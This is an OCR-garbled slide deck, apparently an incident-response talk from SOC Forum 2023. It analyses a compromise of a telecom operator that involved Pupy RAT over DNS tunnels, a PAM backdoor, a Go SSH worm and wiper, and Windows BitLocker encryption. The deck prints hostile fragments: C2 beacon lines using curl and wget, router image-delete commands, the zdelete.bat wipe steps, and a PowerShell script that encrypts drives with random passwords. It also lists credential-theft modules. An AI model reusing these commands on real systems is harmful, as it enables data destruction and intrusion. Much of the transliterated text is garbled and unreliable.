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3apoxgeHue TutaHa

Threat | Crmca yTpod

Moxtsanisd Cucon DNS Tusnel

domain type uniq_names >1day

len_name

Momcx  Yrpoosd [osscrid Bnoc

allowlisted.net

uniq_values len_value name value astuls pans wirusiotal

RT clents
request per clients

First seen: .
active Ip's

Sophos:

3 ' ; Whuzna CROF

9 alowisied ned Fortinet
AlphaMauntain.d

545mmy3crbmzxgizgadian gcdm2ddsy2p3s Lionic
Seciookup

IOC n DNS-TyHHenu Ha cetn «Poctenekoma»

SOC
FORUM
2023



3apoxgeHue TutaHa

DGA & Sinkhole

\.cbox4\.ignorelist\.com$'

4acToTa 2anpocCoE pas B MUHYTY

-~ —

=

CYBER THREAT ADVISORY

HENEENENE
Dog Hunt: Finding Decoy Dog Toolkit via Anomalous DNS
Traffic

|

AKTUEHBIA AHC TYHHenb - cbox4.ignorelist[.Jcom
ncnonb3yet NS cepeep beam.ns01[.]info(141.147.16.126
¢opmat 3anpoca - '*[a-z0-9H{8}\.[a-z0-9]{32}\.[a-z0-9]{24

nepesiii GNOK U3 BOCEMU CUMEONOE, BEEPOATHO, id KAneHTa

T

CyberSquatting RU Alerts

McxoAa U3 HazeaHuA, DNS TYHHeNUMpoBaHWe 3TO TeXHONOrUA,
NO3BONAOLLAA YNAKOBaTb NPOUZEONbHEIE AaHHLIE B NaKeTkl,
KOTOpbIMKU 0BMeHMBaKOTCA DNS cepeepa 1 UX KNWeHTsl. B page
CNyyaee 3Ta TeXHONOMMA CNONL3YETCA B KaYeCTES KaHaNa CBAzn
mMexay 6otamu u ux C2 cepeepamun. bot popmupyeT 3anpoc ¢

33l POBAHHBIMW A3HHBIMW B NOAKOHTPONSHOMN
3N10YMBILUNEHHWKY 30He, Hanpumep, '
2z4uu33kéusgby3lyvyirzgla2xfcacaaamaaaiahubqaahsaeaaadaa
aaajbyv.
7dxehsibie2sguzunustq67aixtil7jzyrvcrvzaisf7ccwgweéadzjlbo2o7g
c7.pwmunmjmotomat4xncruxucicmrdéfdjodesbnayvajlzm4uoitz
eSklkm3n47u.
6dwdxy57vxuwtlyqbg7Zyodmdib3fxrqijy6tnyufekn5uthdha.e.ed2[.]
host'. DNS pesoneep uecTHO MALT UCKATb OTBET M NPUXOAUT K NS
cepeepy 30Hsl «e.ed2[.]host», rge B kauecTee NS cepeepa cTouT
cneuvanusvpoeadHoe NO, paclwMpoesiBaloLLIee 3aK0ANPOBaHHOe
cooBuieHve U 0TAaKL e 2aluMdPOBaHHLI OTBET. Haubonee

3¢ peKTUBHLIM peLleHneM ABNAETCA MCNONbL30BaHWE 3aNpoCoB
TWNA «TXT», TAK KaK OHW MOFyT COAePXaTb A0CTaTOYHO 600N
o06beM JaHHbIX B OTBETE.

3HaA cneynduyeckme ocobeHHOCTU GYHKUMOHMPOBaHUA DNS
TyHHenel, Gein peanu208aH MeXaHN3M NX 0OHAPYXeHWA Ha OCHoBe
CTaTUCTUYRCKUX 3aBUCMMOCTER. B NocneaHee BpemA B POCCUIACKOM
CermeHTe CeTU NHTepHeT AeCTBYIOT TYHHEeNN B CNeyHoLLMX 30HaxX:
allowlisted[.]net

wmssh[.Jcom

net[.Jeu[.]Jorg

ads-tm-glb[.]Jclick

hsdps[.]cc

cbox4.ignorelist[.Jcom

Bce OHW BEPOATHO CBA3aHHbLI C GYHKUMOHUPOBaHWe RAT Pupy

..... S 4SeC/pupy
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3apoxgeHue TutaHa Eggg,\ﬂ

Hanuncan Ha Python
Bonee 100 mogynen by default
B0o3MOXHOCTb HanMcaHMsi CBOMX Moaynen

Moaoepkka pasnmyHbIX OrnepaumoHHbIX CUCTEM » Generate payloads in various formats:
Format Architecture ~ Short Name
— — — . Android x86 &
AgMUHUC TpUpOBaHue services BoiBecTn cnucok cnyxb apk
AgMUHUCTPUPOBaHWE getuid Mony4uTe MMA NONb30BaTenA Package ARMv7
Y4ETHble AaHHble loot_memory 06xoa nNaMATM npouecca B NOMCKax YYHETHbIX Aak ‘ ] :
YYETHbIe AaHHbIe creddump 3arpy2ute Hives ¢ ypanénHon cuctemsl Windows Linux Binary X80 lin_x86
Y4€THbie AaHHble lazagne Mony4uTe XpaHuMbie Ha Uenu naponwu . : :
Y4ETHble AaHHble mimipy 3anycTuTe Mimipy AnA nony4YeHUAa YHETHBIX AaHk Linux Binary X064 lin_x64
Y4ETHble AaHHble memstrings Mony4uTe NeYaTHbie CTPOKU M3 NaMATU NPOUECC: .
2ms 1oy ‘ Linux Shared

JkcnayaTauua mimishell Bononuute Mimikatz w3 namatu (MHTepakTuBHO) %86 so Xx86
JKCnAyaTauma mimikatz BoinonuuTe Mimikatz vz namatu (He-uHTepakTwe Object -
IkcnayaTauyua exploit_suggester [oackaz4Yuk 3KCNAOWTOB
3kcnayaTauua shellcode_exec BuinonHuTe ykasauHet wenn koga (Shellcode) Hé Linux Shared S0, ¥64
JKcnayaTauua impersonate Cnucok TOKEeHOB Npoueccos Object -
Cbop keylogger NepexeaTuymnk HaxaTuu knaeuatypsl (Keylogger)



3apoxaeHune TutaHa

revision

(o] 833/

7de83ccdb6518505dd6750ce8a3f0ebf

revision fctb907a cid 1857261152
18a3f3ed02f826df738f0cbfo08adchb3

revision be9de2be cid 3137878212
may 2023

}21a153d18b152f95336dc8275fd5aed
b6d0857b47c013f448bele7fbesf20c
41145ece5f99dfead3d21b2b14dobs7
'cc49b29faBad86fd49439bc24d56c16
19bc5a968fafc6aad3ca287895374cf4

}adb044363f02e6b6d861596f045f146
E::-.\MBSdOeDfMancbfzmmﬂe

569f80e1e4f7d882417d4f9a3ad96ae
0bf825915159351197dad40291d65¢
9b0a07c2eecleld110fdd8358adadds
192167c346f470c6c28646b22c691368
15dd16ca7916178b7b7168a715164c91
6477ec9b2b5a740adcad89bde3fle75
040dfb8bBaae41859¢1a63025fd8153
177460477d0e956a5854d532f162¢9c0

bb393e25ea2428137aa599253f3eb7f
146e253ca24faael89d88a48c81b0653
[667230495f065223a8186bf46371686
2502f23f5122f75353270d39023c92¢c
190aa30ac32261bbb9c7be7013fc3637
rd72e6labe56ff64badec3a5abdi2del
Ifc2ca233ef8fe791bbecaebd1a3zdde
76f285009ac569a9701a570703a0a2c
)96a402d590091fd6edbccleed75e9¢3
efdaf82024ec0f3ad280399fd4ccecc
1aebd63d17ea84c5b0e9bde7c056c3b
[!089d14e459082415226c72c6935f664
bc2d564f7db90dd04c3d8a5108f5951
b64457a961f01b7c0cced15842cd25b
f79b150b4937f14c96a9a40aa6f654a
/8d48214d5829003511b8d54514e61d5
»be801f4b09f317d8beeecbedfo2f40d7

face5662f0d1d1838aee2888098afe0

network/conf.pyo
network/lib/ack.pyo
network/lib/base.pyo
network/lib/base_launcher.pyo

821a153d18b152f95336dc8275fd5aed
fb6d0857b47c013f448bel1e7fbesf20c
f41145ece5f99dfcad3d21b2b14d0bs7
7cc49b29faBad86fd49439bc24d56¢16

network/lib/buffer.pyo
network/lib/channel.pyo
network/lib/clients/bosh.pyo
network/lib/clients/common.pyo
network/lib/clients/local_unix.pyo
network/lib/clients/ssl.pyo
network/lib/clients/tcp.pyo
network/lib/clients/udp.pyo
network/lib/clients/__init__.pyo
network/lib/compat.pyo
network/lib/connection.pyo

}a57eb9d47b6474e59d 1de988bd 24590 network/lib/convcompat.pyo

network/lib/dnsinfo.pyo
network/lib/doh.pyo
network/lib/echo.pyo
network/lib/expand.pyo
network/lib/http_parser.pyo
network/lib/igd.pyo
network/lib/launchers/auto_proxy.pyo

c9bc5a968f8fc6aad3ca287895374cf4
8adb044363f02e6b6d861596045f146
d8e90e4535d0e0f74a8fcbf27f95040e
b569f80e1e4f7d882417d4f9a3a496ae
f0e0bf825915159351197dad0291d65¢c
b9b0a07c2eecleld110fdd8358adsdds
092167c346f470c6c28646022c691368
05dd16ca7916178b7b7168a715164¢91
f6477ec9b2b5a740adcad89bde3f1e75
a040dfb8b8aae41859¢1a63025fd8153
d77460477d0e956a5854d532f162c9c0

1bb393e25ea2428137aa599253f3eb7f
d46e253ca24faael89d88a48c81b0653
c667e30495f065ee3a8186bf46371686
52502f23f5122f75353270d39023c92¢
790aa30ac32261bbb9c7be7013fc3637
ed72e6labe56ff64badec3a5abd824el
7fc2ca233efsfe791bbecaeb41a334dce

network/lib/launchers/bind.pyo
network/libflaunchers/connect.pyo
network/lib/launchers/dnscnc.pyo
network/lib/launchers/special.pyo
network/lib/launchers/__init__.pyo
network/lib/msgtypes.pyo
network/lib/netcreds.pyo
network/lib/ntop.pyo
network/lib/ntplib.pyo
network/libfonline.pyo

3e93b761d82842021d124ebe8e76901 network/lib/pac.pyo

network/lib/picocmd/ascii8S.pyo

a76f2850b9ac569a9701a570703a0a2c
b96a402d590091fd6edbccleed75e9¢c3
3efdaf82024ec0f3ad280399fd4ccecc
81aeb463d17ea84c5b0e9bdeTc056c3b
d089d142469082415226c7ech9a5f664
cbc2d564f7db90dd04c3d8a5108f5951
14b64457a961f01b7c0cce915842cd25b
2f79b150b4937f14c96a%a40aa6f654a
580d48214d5829003511b8d54514e61d5

|bbe801f4b09f317d8beecbedf92f40d7
43293b761d8a842021d124ebe8e76901 network/lib/pac.pyo

2face5662f0d1d1838aee2888098afe0

network/conf.pyo
network/lib/ack.pyo
network/lib/base.pyo
network/lib/base_launcher.pyo
network/lib/buffer.pyo
network/lib/channel.pyo
network/lib/clients/bosh.pyo
network/lib/clients/common.pyo
network/lib/clients/local_unix.pyo
network/lib/clients/ssl.pyo
network/lib/clients/tcp.pyo
network/lib/clients/udp.pyo
network/lib/clients/__init__.pyo
network/lib/compat.pyo
network/lib/connection.pyo

l4a57eb9d47b6474e59d1de988bd24590 network/lib/convcompat.pyo

network/lib/dnsinfo.pyo
network/lib/doh.pyo
network/lib/echo.pyo
network/lib/expand.pyo
network/lib/http_parser.pyo
network/lib/igd.pyo

network/lib/launchers/auto_proxy.pya

network/lib/launchers/bind.pyo
network/lib/launchers/connect.pyo
network/lib/launchers/dnscnc.pyo
network/lib/launchers/special.pyo
network/lib/launchers/__init__.pyo
network/lib/msgtypes.pyo
network/lib/netcreds.pyo
network/lib/ntop.pyo
network/lib/ntplib.pyo
network/lib/online.pyo

network/lib/picocmd/ascii85.pyo

babd95b12bc6811c601b8e3652e96b6b network/conf.pyo

fb6d0857ba7c013f448bele7fbesf20c
f41145ece5f99dfcad3d21b2b14d0bs57
7ccd9b29faBad86fd49439bc24d56c16

network/lib/ack.pyo
network/lib/base.pyo
network/lib/base_launcher.pyo

ae416f21bae06926de8e51d4e61612de network/lib/buffer.pyo

8adb044363f02e6b6d861596f045f146
a7bd81532e46e18c0294ec2c884c8bf7
b569f80e1e4f7d882417d4f9a3a496ae
f0e0bf825915159351197da40291d65¢c
dfe50b4bf4411327c825ccedebd06e8e
092167¢346f470c6c28646b22c691368

05dd16ca7916178b7b7168a715164c91
f6477ec9b2b5a740adcad89bde3fle7s
a040dfb8b8aaed1859¢1a63025fd8153
34556f3fladdaedbdal7ea7bese5b7fa

network/lib/channel.pyo
network/lib/clients/bosh.pyo
network/lib/clients/common.pyo
network/lib/clients/local_unix.pyo
network/lib/clients/ssl.pyo
network/lib/clients/tcp.pyo
network/lib/clients/udp.pyo
network/lib/clients/_init__.pyo
network/lib/compat.pyo
network/lib/connection.pyo

4a57eb9d47b6474e59d1de988bd24590 network/lib/convcompat.pyo

56f17bb3a67c5a009074f800b034af16
d46e253ca24faae189d88a48c81b0653
c667e30495f065e23a8186bf46371686
ba28d59ddccd667f150af5fd1a335639
S5ebad96f31d4cebebeceb09as8ecsf29a
790aa30ac32261bbb9c7be7013fc3637
ed72e6labe56ff64badec3asabdszdel
7fc2ca233ef8fe791bbecart41a334dc
0e719d41fca0d03075e519e3811c04a2
b96a402d590091fd6edbcc0eed75e9c3
b8aa00f0d2240bedf46b667cacb98054
d7265296508a35893b5c83108cf7bb60
d089d14e469082415226c7ec69a5f664
cbc2d564f7db90dd04c3d8a5108f5951

4b64457a961f01b7c0cce915842cd25b
b1957e2762c8f7e742681f29725c00f1
58d48214d5829003511b8d54514e61d5
b6afaac9a9875d3c56d180095e8c555e
7002db9b057ab7596c09cf16522b1531

network/lib/dnsinfo.pyo
network/lib/doh.pyo
network/lib/echo.pyo
network/lib/events.pyo
network/lib/expand.pyo
network/lib/http_parser.pyo
network/lib/igd.pyo
network/lib/launchers/auto_proxy.pyo
network/lib/launchers/bind.pyo
network/lib/launchers/connect.pyo
network/lib/launchers/dnscnc.pyo
network/lib/launchers/special.pyo
network/lib/launchers/__init__.pyo
network/lib/msgtypes.pyo
network/lib/netcreds.pyo
network/lib/ntop.pyo
network/lib/ntplib.pyo
network/lib/online.pyo
network/lib/pac.pyo

revision 8973f35e cid 888244193 |

1ceee7384401a80b8be572292d4c39bb network/conf.pyo

fb6d0857b47c013f448bele7fbesf20c
6ea95dc39cfacfof7dd1dfbl9becibef
5d3730983578ccdc717b82add5519108
0d002f474105f6fba7a22e8bd7d65579
efa57eb25823b38ca4e6e07f1608fdbd
a040dfb8b8aaed1859c1a63025fd8153
20deae63c8611823592437f1d39e5ff5

4a57eb9d47b6474e59d1de988bd24590 network/lib/convcompat.p

812e85bfec44809da96b3sfa3d2f68ca

62be339d243da72d0e0ebd2ff9b82d62 network/lib/doh.pyo

c667e30495f065e23a8186bf46371686
5250223f5122f75353270d39023c92c
6d14acabedc8a757f1f8b43f57f8a428
e5a0c8e9laefleddead7cde679413493
bff3c4a946bB8c02fe7007c9b795844ce
71deb3d1bcbf6a866de0832a2fbbb593
19abbf73ce036c4d1f66dcd3143b0756
c196d67ca33c470b2b74f321be420d87
322710f60bc122ef1291580056eba23d
4b64457a961f01b7c0cce915842cd25b
b1957e2762c8f72742681f297e5c00f1
58048214d5829003511b8d54514e61d5
2f3ad431346e2fb6f9d48412bed8a7es

43e93b761d8a842021d124ebe8e76901 network/lib/pac.pyo

95a0952c58d6f51f68d5ae9924897h6e
816e0befcddf30a32c49a8b06832af97
Bce71eld844e007c2e4bb3f9677a020e
4a77487dc6e758fa8367851a0c4707bc
e31c0f9c4f39d2ac4b7816fbasd138d36
e5af31f1a0fsecff928830db2dd22fab
5f7cc62e810ab7b57a9¢5ae0175b4a38
572211599f209509c1736521628c5827
al557d43f6f2887412786375833cb20a
1e23056cedab637fa1490e51a44d0590
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network/lib/ack.pyo
network/lib/base.pyo
network/lib/base_launche
network/lib/buffer.pyo
network/lib/clients.pyo
network/lib/compat.pyo
network/lib/connection.py

network/lib/dnsinfo.pyo

network/lib/echo.pyo
network/lib/expand.pyo
network/lib/igd.pyo
network/lib/launchers/aut|
network/lib/launchers/bin
network/lib/launchers/cor|
network/lib/launchers/dng
network/lib/launchers/__i
network/lib/msgtypes.pyo|
network/lib/netcreds.pyo
network/lib/ntop.pyo
network/lib/ntplib.pyo
network/lib/online.pyo

network/lib/picocmd/ascii
network/lib/picocmd/base]
network/lib/picocmd/clier|
network/lib/picocmd/dns |
network/lib/picocmd/dns |
network/lib/picocmd/pico
network/lib/picocmd/serv
network/lib/picocmd/ in
network/lib/proxies.pyo

network/lib/pupyrpc.pyo

6 paccnenoBaHum 3a 2023 roa



KomMmnpomeTtauua NHQpacTpyKTypb!

* Touka Bxoga He HanageHa (HO 0Obl4HO 3TO BED)

* 9 MecsLEeB MH(PpaCTPyKTypa B3riloMaHa

* 3apaxeHune TONbKO NiX-CUCTEM
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FORUM
2023

3APAXEHNWE

* SSH kak ocHoBa

* 12 3apaxeHHbIX CEPBEPOB B pasHbIX
cermMeHTax cetn

KactomHasa komnunsaumnsa pupy nog ARM Linux
(ceTeBoe xpaHunuiie Synology)

CBOP OAHHbIX

v/

* KopnopaTtuBHbI nopTan
+ Gitlab

* PasnunyHble B[]

* ®daunnosble cepBepbl

> Cucremsl aAMUHNCTPAaTOpPOB

* [loyta

MHCTPYMEHTAPUW

* PupyRAT

* Sliver

* 3snake (sudo, sshd)
* Nmap

YnpaeneHue 60THeTOM ObINO NepegaHo UnNn nepexBavyeHo

)



MobunbHasa cBa3b

UE

UE

UE

RADIO EQUIPMENT

CORE NETWORK
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eNodeB

10

4 N\ 4 N\
Huawei iMaster MAE-M Huawei iMaster MAE-C
N O S G
&
NodeB RNC SGSN GGSN IP Network
:ﬁﬁﬁ::::::ﬁﬁﬁ:ﬁﬁZZZZZZZ] """"" I
_____ Gy é\
|:| MSC/VLR —
BTS BSC ISDN
. J \_ J PSTN PLMN
RADIO EQUIPMENT 4G CORE NETWORK
A IP/MPLS Q

IP Network



MobunbHasa cBa3b

HUAWEI IMASTER MAE-M
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s IMastermat Monitor  Maintenance Topology Performance  Configuration  Software  License ~ SON  Security 5 Disable user LocalNMS Successful Disable the user-
Disable user LocalNMS Successful Disable the user =
Tr—— Disable user LocalNMS Successful Disable the user = °
Disable user LocalNMS Successful Disabletheuser.__ ... _.
Disable user LocalNMS Successful Disabletheuser ~ ~ "
@ o Current Alarms MML Command Network Information Collect... Mo R y o
Fuia Main Topology Disable user LocalNMS Successful Disable the user .
Disable user LocalNMS Successful Disable the user
Common i e e h Disable user LocalNMS Successful Disable the user * -
Disable user LocalNMS Successful Disable the user
BE Deployment z'“qc:‘k“‘"’ z"t‘y“g o Z:‘;‘:‘mg"‘ i Disable user LocalNMS Successful Disable the user
Configuation Report Manzg..
<
~ ‘ 4 A
BTS, BSC
oooemeoeooes A — A
|:I ]
- J

1




MobunbHasa cBa3b

HUAWEI IMASTER MAE-M

App

S| o

SGSN GGSN

o

MSC/VLR

Microservice

APP  MAE/U2020/mAOS .

e GaussDB
Huawei Database
s &)
Huawei Euler OS
W= nSphere
By-Integration
Pre-Integration: Taishan 2280 Cluster

Taishan Pre-Integration

> Huawei provides all
components.

» Huawei delivers end-to-end.

» The delivery penod is short.

.........................................
........................................

.

Huawei CloudEngine 6863 Switch,

— =
.
'

12
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Web Oceanstore Device
Manager

Delete Lun
Delete Storage Pool

Delete Disk Domain
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MOBILE BACKHAUL AOCTYMN B UHTEPHET

A A A mEn .

) — — ) "

Router Router Router Router

IP/MPLS A

Nokia Nokia

Tacacs Servers

CermeHT ceTu npoBangepa

13



MobunbHas ceasb v UM

Nokia Nokia
| |
1 1
1 1
| ] |
1 1
L o e e e e e e e e e o e e e e e e e e e e e e e e e e e e e e e et e e e e e e e e o 2 |
Tacacs Servers
pam_allow.so» dir i1mages
delete cfl:/*.* force

lNMpegHasHayeHa ona nepexsara
Bbl3oBa pam sm authenticate.
Ecnn naponb coBnagaet ¢ mactep-
naponem, To BO3BpaLlaeTcs
PAM_SUCCESS

* bnokupoBaH gocTtyn Ha cepsep Tacacs
* YpaneHbl KoHUrypaunoHHble dannbl 52
KOMMYTaTopoB

14

dir images
delete cfl
delete cfl
reboot now
dir images

delete cfl:

dir images
delete cfl
delete cfl
dir images
delete cfl
reboot now
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:/images/7210-SAS-T-TiMOS-8.0.R8/*.* force

:/images/TiMOS-B-11.0.R4//*.*

/A'A

force

force

:/images/\3217210-SAS-Mxp—-TiMOS-11.0.R4/\32:

:/l_k

force

:/images/7210-SAS-T-TiMOS-11.0.R4/*.* force



KopnopatuBHaa MHMpacTpykTypa Linux

fhome —

[backup —

[ VX MR o bt GlTh, He BETDELANMS ]

A0 —
M02/ —~
Mip —
JAmnt
Just foin/clamavscan —
fmedia —
th fiava
froot -[ Yaanser NoCHesoesTentHo Pesypens J Kommpyerca xaa
Justfbin/ps
Jfopt ]
Celn
Ivarflog —]

fetc —

Hvae =

fust

i=

Jussfoinfed —

/dev/shm/.<MD5_machine_id>5f

[dev/shm/.<MD5_machine_id>4e

= JAMYEKAET GEPE 45 MiHyT WA 8 1700 uepes

AprymenT crpons

Cnossps
»

1 Cetesue mitepdeic
i
' Known_hosts
A

\

\

A

\

\

\

\

Worm:

Jdev/shm/.<MD5 machine_id>1b

/dev/shm/.<MD5_machine_id>0a

Crmcon xewsed msen

Cropee BCEfo ChparTt

3408 WM COH CEPIATA

Wiper Worm

15

Bash- ot

—

1
1
i
i /dev/shen/ <MDS_ machine jd>08
! /fdev/shen/.<MDS5_machine jd>1b
1
! Jdevjshm ) <MDS_machine jd>2c
Host 2
P /fdev/shn/ <MD5._machine jd>3d
i
{ Jdevshen/ <MDS_machine id>de
1
\ /dev/shen/.<MDS machine iS5t
‘I
\
v
A
A
A
Epy™T SSH, 3axmasmer ol i SSMyCEaeT O
Ubin/bash %s %3 % >/dev/mull 2:818)
\\
\
1
'
Y
i
1
1
1]
1
/
Just/binfelamavd
= [ ]._

—
~~
~
~,
\'\
~ [etc/pam d/common-auth LoGenaser
— Oanaer
' fetc/pam.d/passwd
= ash B fhome '
4
Ssh key & froo fauthorized keys
fokasnet 3
MDS OT WMesI SKTHBHOMD NONB3CETENR 8 3d =
Omnpasnser sanpac ========a___
~—
Janycuser e,
———n -
]
s
/
#

L

— fetcfpam.d/password-auth

ey
-
~
~-

Hutaet cRncor, G043 sanncuiaeTcr maS of

WA NOABICBST

enn
at fokev/shen/ %s3d | sort | unig

Nepeaser cratyc “ready”

Sem—— -
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/dev/shm/.<MD5_machine_id>0a

/dev/shm/.<MD5_machine_id>1b

/dev/shm/.<MD5_machine_id>2c

U

/dev/shm/.<MD5_machine_id>3d
Server 1
/dev/shm/.<MD5_machine_id>4e

/dev/shm/.<MD5_machine_id>5f

Bash ckpunt

Worm on GoLang (Custom)\\

Wiper on GoLang (Custom Fork Github)

Hash username

]
L

External CnC

16

ncat

]
]

Internal CnC

U

Server 2

U

Server 3

U

Server 4

/dev/shm/.<MD5_machine_id>0a
/dev/shm/.<MD5_machine_id>1b
/dev/shm/.<MD5_machine_id>2c
/dev/shm/.<MD5_machine_id>3d
/dev/shm/.<MD5_machine_id>4e

/dev/shm/.<MD5_machine_id>5f

/dev/shm/.<MD5_machine_id>0a
/dev/shm/.<MD5_machine_id>1b
/dev/shm/.<MD5_machine_id>2c
/dev/shm/.<MD5_machine_id>3d
/dev/shm/.<MD5_machine_id>4e

/dev/shm/.<MD5_machine_id>5f

/dev/shm/.<MD5_machine_id>0a
/dev/shm/.<MD5_machine_id>1b
/dev/shm/.<MD5_machine_id>2c
/dev/shm/.<MD5_machine_id>3d
/dev/shm/.<MD5_machine_id>4e

/dev/shm/.<MD5_machine_id>5f
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Wiper on GolLang (Custom Fork Github)

tmpl="/dev/shm/."$machineid"1b"
tmp2="/dev/shm/."$machineid"2c"
clamavd="/usr/bin/clamavd"
clamavd2="/home/" $whoami" /java-vm"
clamav="/usr/bin/clamavscan”
clamav2="/home/"$whoami”/java"

Bash ckpunt

E main_proceed_with_passed_host
z] main_proceed_with_hardcoded_creds

z‘ main_proceed_with_known_hosts

II main_proceed_with_hardcoded_hosts

E main_proceed_with_hardcoded_networks

ﬂ main_proceed_with_available_hosts

zl main_scan_network

E main_scan_network_funcl

ﬂ main_check_server

ﬂ main_infect

A S ——
z] main_upload files

ﬂ main_upload_files_funcl

ZI main_ssh_exec

E main_ssh_exec_funcl

¥] main_download._file

Worm on GoLang (Custom)

else
wget -0 /dev/null
"$ping?status=ready&host=¢host&user=$whoami&su=%$is_sudo"
fi

else

curl "$ping?status=ready&host=$host&user=$whoami&su=$is_sudo"
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KopnopaTtusHas uHdpactpyktypa Linux Egggm

Ha 2 cepBepax
]

ESXI
(1e98%9a-e8cf-90e2bac29be8/L = 7 _ .vmx' opID=879FA794-00000470 user=root] Destroy VM called )
-00000470 user=root] 90-envmgr-datastorebrowser::Destroy
-051e%8%a-e8cf-90e2bac2bel/ ... _.. _,.-" _ «.vmx' opID=879FA794-00000470 user=root] Destroy VM complete
le989%a-e8cf-90e2ba629%be8/ v ‘2. VIX' opID=879FA794-00000497 user=root] Destroy VM called
-00000497 user=root] 24-envmgr-datastorebrowser::Destroy
-051e98%a-e8cf-90e2bac2%bes8/. i z.vmx' opID=879FA794-00000497 user=root] Destroy VM complete
leS8%a-e8cf-90e2ba62%ce8/ 2 _ ..vmx"' opID=875FA794-000004D3 user=root] Destroy VM called
-000004D3 user=root] S5-envmgr-datastorebrowser::Destroy
-051e9%8%a-e8cf-90e2ba62%be” - . anuana . .vmx' opID=879FA794-000004D3 user=root] Destroy VM complete
le98%a-e8cf-90e2bac29%bes/ . _ _ _ vay .VMX' OopID=879FA794-00000514 user=root] Destroy VM called
-00000514 user=root] 75-envmgr-datastorebrowser::Destroy
-051le%t%a~-e8cf-90e2bac2bef . _’-"‘”“"“” . s e mms VX" OpID=8T79FA794-00000514 user=root] Destroyv VM complete
le98%a-e8cf-90e2bac2%bes,” —- «VmX' opID=8T79FA794-00000559 user=root] Destroy VM called
COOOOOSSQ user=root] é-envmgr-datastorebrowser::Destroy

- J

Web Oceanstore Device Manager

Delete Lun

Ha 1 cepBepe |:| | |
ESXI| CXQO Huawei
OceanStore Delete Disk Domain

Delete Storage Pool

Cutyaums, korga UT-xaoc noMmor coxpaHntb aptedakThbl
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KopnopartusHaa nHgpactpyktypa Windows

decho on

<RunLevel>HighestAvailable</RunLevel>
<UserId>NT AUTHORITY\System</UserId>

o *shutdown +1' EXIT

( <Enabled>true</Enabled> ) gismuﬂzzuc:\zdeme.m--
</TimeTrigger> goto exscute
- :AMD 64
</Triggers> set DEILEJEKE-"C:\zdslete64.oxe"
<Principals> boto execute
<Principal id="Author"> execute

hell Set-ExecutionPolicy -ExecutionPolicy Bypass

<LogonType>S4U</LogonType> tart powershell —noesit "G "7C:\bit.psl®"n
</Principal>
B i [fakeown /F C:\Windows\explorer.exe
</Principals> hcacls.exe C:\Windows\explorer.exe /deny *3-1-1-0:F
(Actions Context="Author"> for ¥%i in (D:,B:,F:,G:,Q:,W:,E:,R:,T:,Y:,U:,I:,0:,P:,8:,H:, X:,¥:,32:) do (
tak: fxr /d Y /SRIPSL /£ %%i
<Exec> start PFILE EXES /accepteula /r /s 3%i\*
<Command>cmd. exe</Command >
n /a /x /d ¥ /SKIPSL /£ C:\Users\
<Arguments>"/C copy \\. ASYSVOL\ EENE® /ocopeeula /x fs Ci\Users
\scripts\zdelete.bat C:\zdelete.bat &amp; C:\zdelete.bat"</Arguments> L e T P fER SR/ Bal
fB% /accepteula /r /s C:\*
(/EXEC> IFI (B% /accepteula /z c:
\_ </Actions> _J \eutdawn /c /£t 600

MNonuTtuka 6esonacHoCTH

zdelete.bat

[Get-PSDrive | Where-Object {$_.Provider.Na.me -eq "FileSystem" -AND S_.Used -gt 0} | ForEach-Object ({

Sdrive = $_.Root -replace '\\',
$randomString = —-join ((65..90) + (57..122) + (48..57) + (33,35,36,37,38,42,
SSecureString = ConvertTo-SecureString SrandomString -AsPlainText -Force

Enable-BitLocker -MountPoint $drive -EncryptionMethod Aes256 -UsedSpaceOnly -Password $SecureString -PasswordPrd

) | Get-Random

-Count

bit.ps1

19
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NHTepHeT Megnaonepartop
o o0
l v
Flussonic 2 Flussonic 1
T [
IPTV «—

WEB

(# Ingest streams:
stream . IR {
input file://vod/vod.mp4;
protocols -dash -rtmp -rtsp -tshttp;

Pupy RAT ARM

¥

stream . ___"~ : {
input file://vod/vod.mp4;
protocols -dash -rtmp -rtsp -tshttp;

k}

20

Overview Input

+~ back to VOD settings

Upload Files

Output

Auth

‘bunoylmp4

bunny2.mp4
EY bunmyd.mps
1 bunny.mps
£ bunny.mps

_j Rem

ove

pmove

move

move

move

23.04 STREAMS: 27 | 45 FILES: 5 CLIENTS: 2040 IN: 400 MEPS

clock
2023-06-20T14:0808:582
2023-86-208T14:08:582
1687269658, 888307
streameriserver. |

https://~~ V/vod/bunnyl.mp4/index.m3us

https:/* i/vod/bunmyl.mp4/video.m3u8

OUT: 500 MEPS | UP: 50D D!:a

& j




Impact POR

&
&
&
[ 4

[MTouTn cyTKM abOHEHTbI HAXOAUNNCH
6e3 ycnyr ceasun

Bce cuctembl BuUnnnHra yHUUTOXeEHbI
B linux-cermeHTe

YacTb knneHTckux 6a3 gaHHbIX yTpaydeHa
OKOH4YaTer1bHO

[TpsAsmon donHaHCOBbIN YObITOK

Input = ("Oh_snap!")
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bonbLue

NPaKTU4YECKNUX KENCOB,
pes3ynLTaTtoB paccriefoBaHui
WHUWOEHTOB OT

i.zalevskii@rt-solar.ru

'K «Conap»
Hukutcknin nepeyrok, 7, ctp. 1, . Mockea


https://rt-solar.ru/solar-4rays/blog/
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